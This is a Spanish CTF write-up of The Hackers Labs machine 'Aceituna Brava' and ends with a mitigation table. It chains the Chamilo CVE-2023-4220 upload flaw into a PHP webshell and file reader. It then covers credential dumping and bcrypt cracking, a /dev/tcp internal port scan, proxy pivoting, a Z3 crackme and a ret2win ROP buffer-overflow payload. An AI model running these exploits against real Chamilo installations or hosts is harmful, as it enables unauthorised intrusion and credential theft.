‹ cd4cwj / writeups
root@cd4cwj:~$ cat writeups/aceituna-brava.md

Aceituna Brava

webprivesc
// diploma · The Hackers Labs
Diploma The Hackers Labs — Aceituna Brava (cd4cwj)

Aceituna Brava

Máquina: The Hackers Labs — Aceitunita Brava Sistema operativo objetivo: Debian 12 “Bookworm” (host) + varios contenedores Docker internos Vector de entrada: Chamilo LMS (CVE-2023-4220) → RCE limitado → credenciales de BD → SQLi indirecta → crackeo → SSH Pivoting: Reto criptográfico (Z3) → proxy Squid → segundo binario (Buffer Overflow + ROP) → root real de la VM Cifrado final: PBKDF2 + Fernet

Esta es, con diferencia, la máquina más elaborada de la serie: encadena una web vulnerable, post-explotación en PHP restringido, movimiento lateral entre varios contenedores Docker, un reto de resolución de restricciones (Z3), pivoting a través de un proxy, y una explotación binaria clásica de la vieja escuela (ret2win).


Resumen de flags

Flag Valor Usuario
Usuario (jose/user.txt) ████████████ jose
Root (root.txt.enc descifrado) ████████████ root (host real de la VM)

Nota sobre las IPs: la VM objetivo es 192.168.56.104. Dentro de ella conviven varias redes Docker: 10.10.20.0/24 (Chamilo + MariaDB) y 172.17.0.0/16 (contenedores jose, Squid y challenge). Confírmalas tú mismo si repites el proceso.


Herramientas necesarias

sudo apt-get install -y sshpass mosquitto-clients   # sshpass reutilizado de retos anteriores
pip install pwntools ropgadget z3-solver cryptography --break-system-packages

angr (ejecución simbólica, usada como apoyo puntual) se instaló en un entorno virtual aparte para evitar romper paquetes del sistema:

python3 -m venv venv --system-site-packages
source venv/bin/activate
pip install angr

Fase 0 — Montar la máquina virtual

Idéntico a las anteriores (ver los writeups previos para el detalle completo de VBoxManage import/modifyvm/startvm sobre la red vboxnet0).


Fase 1 — Reconocimiento de red

nmap -p- --min-rate 3000 -Pn 192.168.56.104
nmap -sV -sC -Pn -p 22,80,2222 192.168.56.104

Resultado:

22/tcp   OpenSSH 9.2p1 Debian
80/tcp   Apache httpd 2.4.62 — Chamilo LMS
2222/tcp OpenSSH 9.2p1 Debian  (Host: 10.10.20.20 filtrado en el banner)

El propio banner SSH del puerto 2222 filtra una IP interna (10.10.20.20) — la primera pista de que detrás de esta web hay una red Docker con varios hosts.


Fase 2 — Identificar la aplicación vulnerable

curl -s http://192.168.56.104/ | grep -i generator     # <meta name="generator" content="Chamilo 1" />
curl -s http://192.168.56.104/documentation/changelog.html | grep -oE 'aria-label="[0-9.]+"'

Chamilo LMS, versión más reciente listada en el changelog local: 1.11.24. El brief ya apuntaba a CVE-2023-4220, una vulnerabilidad de subida de archivos sin autenticar.

¿Qué es CVE-2023-4220?

Chamilo trae una función de “subida de archivos grandes” (bigUpload.php) pensada para navegadores antiguos sin soporte de subida por chunks. Su modo de compatibilidad (action=post-unsupported) mueve el archivo subido a disco con move_uploaded_file() usando el nombre tal cual lo envía el cliente, sin validar la extensión — y, en las versiones vulnerables, sin necesitar sesión ni login.


Fase 3 — Explotar CVE-2023-4220 (con una vuelta extra)

3.1 El primer intento (y por qué no basta)

echo '<?php echo system($_GET["cmd"]); ?>' > shell.php
curl -X POST "http://192.168.56.104/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported" \
  -F "[email protected]"

El servidor responde "El archivo ha sido enviado" — pero al pedir main/inc/lib/javascript/bigupload/files/shell.php da 404. El listado del propio directorio (Apache tenía autoindex activo ahí) confirma que está vacío.

Por qué falla: move_uploaded_file() no crea directorios que no existen, y en esta instalación concreta esa carpeta de destino no existía todavía.

3.2 El truco: forzar la creación del directorio

Antes de usar el atajo post-unsupported, se dispara una subida normal por chunks (protocolo resumable.js, el mecanismo estándar que Chamilo usa para navegadores modernos). Ese flujo sí crea el árbol de carpetas necesario como efecto colateral:

curl -X POST "http://192.168.56.104/main/inc/lib/javascript/bigupload/inc/bigUpload.php" \
  -F "resumableChunkNumber=1" -F "resumableChunkSize=1048576" \
  -F "resumableCurrentChunkSize=38" -F "resumableTotalSize=38" \
  -F "resumableIdentifier=test1234567" -F "resumableFilename=shell.php" \
  -F "resumableTotalChunks=1" -F "[email protected]"

3.3 Reintentar el bypass — ahora sí funciona

curl -X POST "http://192.168.56.104/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported" \
  -F "[email protected]"
curl "http://192.168.56.104/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id"

Esta vez el archivo sí existe (confirmado porque ahora responde 500 en vez de 404) — pero el cmd=id no imprime nada. El servidor tiene disable_functions en php.ini bloqueando exec, passthru, shell_exec, system, proc_open, popen... (visible con un mini-webshell que llama a phpinfo()). Ejecutar comandos de shell está cerrado — pero leer y escribir archivos con PHP puro no.

Lección: cuando system()/exec() están bloqueados, no siempre hace falta un bypass de disable_functions sofisticado. Con file_get_contents(), mysqli, fsockopen() y compañía (funciones nativas de PHP, no del sistema) se puede llegar muy lejos igual.


Fase 4 — Extraer credenciales del archivo de configuración

cat > reader.php << 'EOF'
<?php
if (isset($_GET['f'])) {
  $c = @file_get_contents($_GET['f']);
  echo $c === false ? "ERROR_LEYENDO" : $c;
}
EOF
# (subir reader.php igual que shell.php)
curl "http://.../files/reader.php?f=/var/www/html/chamilo-lms/app/config/configuration.php"

(La ruta exacta del DOCUMENT_ROOT se descubre con un mini-script que hace echo $_SERVER['DOCUMENT_ROOT'].)

Resultado — credenciales de la base de datos:

db_host     = 10.10.20.10
db_user     = root
db_password = Ms42d0M3oWLw
main_database = chamilo_db

Fase 5 — Consultar la base de datos desde el webshell

El contenedor de Chamilo sí tiene ruta directa a la red 10.10.20.0/24 (donde vive MariaDB), así que usamos mysqli desde PHP para conectarnos y volcar la tabla de usuarios:

<?php
$m = new mysqli('10.10.20.10', 'root', 'Ms42d0M3oWLw', 'chamilo_db', 3306);
$res = $m->query("SELECT username, password, status FROM user");
while ($row = $res->fetch_assoc()) echo implode(" | ", $row) . "\n";

Resultado:

admin | $2y$04$vUNMfUzR5VNcN54iMo1j7.K6FfH5D52d9kezAFo7j1b/ifLUUmJr6 | 1
anon  | $2y$04$dclT/wTbtgfxUlrnu2xSNOvVbN.egyKH/UV3wVQbhfyzGOPZBuy9K | 6
jose  | $2y$04$x.UnKKjhlbGxEaSOu8HfHekUxuwdSoydqghMUzUb9rLnF.hv/43oq | 3

Tres hashes bcrypt ($2y$04$..., coste 4 — relativamente rápido de crackear).


Fase 6 — Crackeo con John

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt chamilo_hashes.txt
john --format=bcrypt --show chamilo_hashes.txt

Resultado: anon:anon y jose:blink-182 caen. admin resiste — no hace falta seguir insistiendo, con una credencial válida basta para continuar.


Fase 7 — Reutilización de credenciales → SSH → flag de usuario

sshpass -p 'blink-182' ssh -p 2222 -o PreferredAuthentications=password -o PubkeyAuthentication=no [email protected] 'id'
# uid=1000(jose) — dentro de un contenedor Docker (hostname 0899e1662228, IP 172.17.0.2)
cat ~/user.txt   # ████████████

En el home aparece un README explicando el siguiente reto: extraer una flag oculta de un binario que da usuario y contraseña para otra máquina.


Fase 8 — El reto criptográfico: análisis del binario

find / -newer /etc/hostname -type f 2>/dev/null    # -> /opt/chal
ps aux | grep chal   # socat TCP-LISTEN:5985,bind=127.0.0.1,fork EXEC:/opt/chal
scp -P 2222 [email protected]:/opt/chal .

/opt/chal no está stripped (símbolos visibles). Su main() desensamblado muestra:

  1. Lee una línea de exactamente 24 caracteres (fgets + strlen).
  2. Divide esos 24 bytes en 6 palabras de 4 bytes (W0..W5).
  3. Comprueba 6 ecuaciones aritméticas/bitwise sobre esas palabras contra constantes fijas.
  4. Si las 6 pasan, usa los mismos 24 bytes como clave XOR para descifrar un texto embebido y lo imprime.

¿Por qué Z3 en vez de fuerza bruta?

24 caracteres imprimibles representan un espacio de búsqueda astronómico. Pero cada comprobación es una ecuación matemática exacta — exactamente el tipo de problema para el que existe un SMT solver: en vez de probar contraseñas, le decimos a Z3 “encuéntrame valores que satisfagan estas ecuaciones” y las resuelve en milisegundos.

Validar la lectura del ensamblador con GDB (paso que ahorra dolores de cabeza)

Antes de confiar ciegamente en la lectura manual del desensamblado, es buena práctica verificar cada comparación con un input de prueba conocido bajo gdb, comparando el valor real de los registros contra lo que se predice a mano:

echo "AAAABBBBCCCCDDDDEEEEFFFF" | gdb -q -batch \
  -ex "break *main+0xb1" -ex "run < /dev/stdin" \
  -ex 'printf "rax=%#llx rdx=%#llx\n", $rax, $rdx' ./chal

Esto permite detectar errores sutiles (por ejemplo, un registro que el compilador reutiliza para “guardar” una constante intermedia en vez de mantener el valor que uno esperaría) antes de perder tiempo con un solver que nunca converge.

Las 6 ecuaciones finales (con W0..W5 como enteros de 32 bits sin signo):

C1: (W0 ^ W1) + (W2 >> 1)          == 0x99a20f13
C2: W1 + W3                        == 0xa886c58f          (constante fija)
C3: (W4 - W2) ^ W5                 == 0xbb7b3331
C4: ((W3 + W0) << 2) ^ W5          == 0x3665001d5
C5: 2*W1 + W4                      == 0xd8f337b2
C6: (W0 ^ W2) + (W5 >> 3)          == 0x28fc326e

Resolver con Z3

from z3 import *
s = Solver()
W = [BitVec(f'W{i}', 32) for i in range(6)]
W0,W1,W2,W3,W4,W5 = W
def z(x): return ZeroExt(32, x)

s.add(z(W0 ^ W1) + z(LShR(W2,1)) == 0x99a20f13)
s.add(z(W1) + z(W3) == 0xa886c58f)
s.add((W4 - W2) ^ W5 == 0xbb7b3331)
s.add(((z(W3) + z(W0)) << 2) ^ z(W5) == 0x3665001d5)
s.add(2*z(W1) + z(W4) == 0xd8f337b2)
s.add(z(W0 ^ W2) + z(LShR(W5,3)) == 0x28fc326e)

for w in W:                          # cada byte debe ser ASCII imprimible
    for shift in range(4):
        b = LShR(w, shift*8) & 0xFF
        s.add(b >= 0x20, b <= 0x7e)

print(s.check())
m = s.model()
vals = [m.eval(w).as_long() for w in W]
print(b''.join(v.to_bytes(4,'little') for v in vals))

Resultado: Z3_S0lV3R_1s_Y0uR_Fr13nD

echo "Z3_S0lV3R_1s_Y0uR_Fr13nD" | ./chal
# ¡Acceso concedido! Flag: ████████████

Según el formato descrito en el README (████████████ → usuario reto1, contraseña dentro de las llaves): usuario pepito, contraseña ████████████.


Fase 9 — Encontrar el siguiente host: proxy Squid

El contenedor jose (172.17.0.2) no tiene ruta a la red de Chamilo (10.10.20.0/24) — son redes Docker distintas y aisladas. Pero si tiene vecinos en su propia red 172.17.0.0/16. Sin nmap disponible ahí, se escanea con /dev/tcp de Bash:

for i in $(seq 1 30); do
  for p in 3128 8080 80 22; do
    timeout 0.3 bash -c "echo > /dev/tcp/172.17.0.$i/$p" 2>/dev/null && echo "172.17.0.$i:$p OPEN"
  done
done

Resultado: 172.17.0.3:3128 (puerto típico de Squid) y también :80 abiertos.

Usar el proxy para llegar a la web interna

ssh -p 2222 -N -L 3128:172.17.0.3:3128 [email protected] &   # túnel hacia el proxy
curl -x http://127.0.0.1:3128 http://172.17.0.3/

La página revela el siguiente paso: un binario descargable /chal2 y credenciales SSH challenge:challenge en el puerto 22222 de ese mismo host.

curl -x http://127.0.0.1:3128 http://172.17.0.3/chal2 -o chal2

Fase 10 — Doble salto SSH hasta challenge

jose sí tiene cliente SSH real, y sí alcanza 172.17.0.3 directamente (misma red). Encadenamos un ProxyCommand con dos contraseñas distintas, una por salto:

sshpass -p 'challenge' ssh \
  -o ProxyCommand="sshpass -p 'blink-182' ssh -W %h:%p -p 2222 [email protected]" \
  -p 22222 [email protected] 'id'
sudo -l
# User challenge may run the following commands:
#     (ALL) NOPASSWD: /srv/http/chal2

challenge puede ejecutar /srv/http/chal2 como root, sin contraseña. El binario en sí es el vector de escalada de privilegios.


Fase 11 — Analizar chal2: buffer overflow clásico

readelf -l chal2 | grep -A1 GNU_STACK    # RW, sin E -> NX activo
objdump -d chal2 | grep -c stack_chk     # 0 -> SIN canario
readelf -h chal2 | grep Type             # sin PIE, direcciones fijas 0x401xxx
nm chal2 | grep " T "                    # aparecen vuln() y winwin()
vuln():
  buffer local de 0x40 (64) bytes
  read(0, buf, 0xc8)     <- lee hasta 200 bytes -> overflow de sobra

winwin():
  requiere rdi == 0xdeadcafe
  requiere rsi == 0xdeadcafebabebeef
  si ambos coinciden -> system(<string en 0x402004>)

Sin canario y sin PIE: la dirección de retorno se sobreescribe directamente y se salta a una dirección fija y conocida — el clásico ret2win. La única complicación es que winwin() exige controlar rdi/rsi antes de saltar, así que hace falta una miniatura de ROP chain (dos gadgets) en vez de saltar directo.

Buscar los gadgets

pip install ropgadget --break-system-packages
ROPgadget --binary chal2 --only "pop|ret" | grep -E "pop rdi|pop rsi"
0x40124b : pop rdi ; ret
0x401249 : pop rsi ; pop r15 ; ret

Construir el payload

from pwn import p64
OFFSET = 0x40 + 8     # buffer + saved-rbp, hasta la direccion de retorno
POP_RDI = 0x40124b
POP_RSI_R15 = 0x401249
WINWIN = 0x401152

payload  = b'A' * OFFSET
payload += p64(POP_RDI) + p64(0xdeadcafe)
payload += p64(POP_RSI_R15) + p64(0xdeadcafebabebeef) + p64(0)  # el 0 rellena r15, no importa
payload += p64(WINWIN)

Probarlo en local primero

chmod +x chal2
python3 exploit_chal2.py    # ejecuta el binario local, envia el payload

El proceso termina con Segmentation fault (normal — no dejamos una cadena para retornar limpiamente tras system()), pero antes imprime:

cat: /opt/pass.txt: No existe el fichero o el directorio

Pista valiosísima: el system() de winwin() no abre /bin/sh, ejecuta literalmente cat /opt/pass.txt. Como el proceso real (vía sudo) corre como root, ese archivo sí existirá ahí y cat lo volcará directo a nuestra pantalla — no hace falta ni siquiera una shell interactiva.


Fase 12 — Disparar el exploit contra el proceso real (root)

python3 -c "
from pwn import p64
OFFSET = 0x40 + 8
payload  = b'A' * OFFSET
payload += p64(0x40124b) + p64(0xdeadcafe)
payload += p64(0x401249) + p64(0xdeadcafebabebeef) + p64(0)
payload += p64(0x401152)
import sys; sys.stdout.buffer.write(payload)
" > payload.bin

cat payload.bin - <<'EOF' | sshpass -p 'challenge' ssh \
  -o ProxyCommand="sshpass -p 'blink-182' ssh -W %h:%p -p 2222 [email protected]" \
  -p 22222 [email protected] 'sudo /srv/http/chal2'
EOF

Resultado:

root password: 91B2W0Xf7X4mZQbv6187NDsX
Frase para descifrar la flag: x6WA0Yk8Mi1i9Fzz
P.D.: la flag esta cifrada usando Fernet (AES-128-CBC + HMAC-SHA256 con clave derivada por PBKDF2 y 480000 iteraciones)

🎯 Una contraseña de root del sistema, y la frase necesaria para el último paso.


Fase 13 — Confirmar el acceso root real

La contraseña filtrada no es válida dentro de los contenedores — es la de root del host físico de la VM (el hipervisor detrás de todos los contenedores):

sshpass -p '91B2W0Xf7X4mZQbv6187NDsX' ssh -p 22 -o PreferredAuthentications=password -o PubkeyAuthentication=no [email protected] 'id; hostname'
# uid=0(root) gid=0(root)
# AceitunitaBrava

Fase 14 — Localizar y descifrar la flag final

find / -xdev -iname "*.enc" 2>/dev/null | grep -v docker/overlay2
# /root/root.txt.enc
scp -P 22 [email protected]:/root/root.txt.enc .
xxd root.txt.enc | head

Los primeros 16 bytes son binarios “raros” (un salt); el resto es texto ASCII que empieza por gAAAAA... — el prefijo estándar de cualquier token Fernet.

¿Qué es Fernet y por qué hace falta el salt?

Fernet (de la librería cryptography de Python) es un esquema de cifrado simétrico “todo en uno”: cifra con AES-128 en modo CBC y añade un HMAC-SHA256 para autenticidad — si el token se manipula, el descifrado falla. Fernet necesita una clave de 32 bytes; en vez de usar la contraseña directamente (insegura, predecible), se deriva con PBKDF2: se combinan la contraseña + un salt aleatorio y se aplica la función hash miles de veces (aquí, 480000) para que fuerza-bruta sobre la contraseña sea deliberadamente lento. El salt no es secreto — se puede guardar junto al texto cifrado (por convención, al principio del archivo), y es justo lo que encontramos.

Descifrar

import base64
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.fernet import Fernet

data = open("root.txt.enc", "rb").read()
salt, token = data[:16], data[16:]
password = b"x6WA0Yk8Mi1i9Fzz"

kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=480000)
key = base64.urlsafe_b64encode(kdf.derive(password))

print(Fernet(key).decrypt(token).decode())

Resultado:

████████████

🚩 Root conseguido.


Fase 15 — Limpieza

A diferencia del binario, aquí sí dejamos artefactos en el contenedor web (varios scripts PHP de apoyo en main/inc/lib/javascript/bigupload/files/). Se eliminan con un último script que se borra a sí mismo también:

<?php
foreach (['shell.php','reader.php','sqlshell.php', /* ...resto... */ 'cleaner.php'] as $f) {
  @unlink(__DIR__ . "/$f");
}
echo "limpio";

Y se cierran los túneles SSH abiertos en background (pkill -f "L 5985...", pkill -f "L 3128...").


Resumen de la cadena de ataque

nmap -p- -> Chamilo LMS (CVE-2023-4220)
        │
        ▼
bigUpload.php sin auth
   -> subida "post-unsupported" falla (dir no existe)
   -> subida chunked normal crea el directorio
   -> reintento post-unsupported OK, pero disable_functions bloquea exec()
   -> file_get_contents(configuration.php) -> credenciales DB
        │
        ▼
mysqli desde el webshell -> dump de la tabla "user" (3 hashes bcrypt)
   -> John + rockyou -> anon:anon, jose:blink-182
        │
        ▼
SSH (puerto 2222) jose:blink-182 -> flag de usuario
   -> README apunta a /opt/chal (reto Z3), servido por socat en localhost:5985
        │
        ▼
Ingenieria inversa + Z3 solver -> password de 24 caracteres
   -> flag ████████████ -> credenciales challenge:challenge (puerto 22222)
        │
        ▼
Escaneo de la red interna 172.17.0.0/16 desde jose -> Squid en 172.17.0.3:3128
   -> tunel SSH al proxy -> web interna revela /chal2 + creds challenge
        │
        ▼
Doble salto SSH (jose -> 172.17.0.3:22222) como "challenge"
   -> sudo -l: NOPASSWD sobre /srv/http/chal2
        │
        ▼
Buffer overflow sin canario/PIE -> ROP minimo (pop rdi/pop rsi) -> winwin()
   -> ejecutado via sudo = root -> filtra password de ROOT DEL HOST + frase Fernet
        │
        ▼
SSH [email protected]:22 -> acceso root real confirmado
   -> /root/root.txt.enc (salt de 16 bytes + token Fernet)
   -> PBKDF2-HMAC-SHA256 (480000 iter) + Fernet.decrypt -> FLAG DE ROOT

Causas raíz y mitigación

Debilidad Mitigación recomendada
CVE-2023-4220 sin parchear (subida de archivos sin autenticar) Actualizar Chamilo a ≥1.11.25 o eliminar por completo el módulo bigupload heredado si no se usa
Archivo de configuración con credenciales de BD en texto claro, alcanzable si hay RCE Usar variables de entorno / gestores de secretos en vez de credenciales embebidas en código desplegado
Contraseñas de usuarios con bcrypt de coste muy bajo (4) Usar coste ≥10-12 para bcrypt, encareciendo el crackeo por fuerza bruta
Reutilización de contraseña del CMS para la cuenta SSH del sistema Contraseñas independientes por sistema; preferir autenticación por clave
sudo NOPASSWD sobre un binario con buffer overflow explotable Nunca dar privilegios de sudo a binarios propios sin auditoría de seguridad; compilar con canario, PIE y FORTIFY_SOURCE como mínimo
Password de root del host filtrada por un binario de un contenedor aislado Aislar de verdad las credenciales entre el host y los contenedores; nunca reutilizar la contraseña de root del hipervisor en un proceso interno de un reto/servicio

«El dolor y el sufrimiento son siempre inevitables para una inteligencia amplia y un corazón profundo.»
— Fiódor Dostoyevski, Crimen y castigo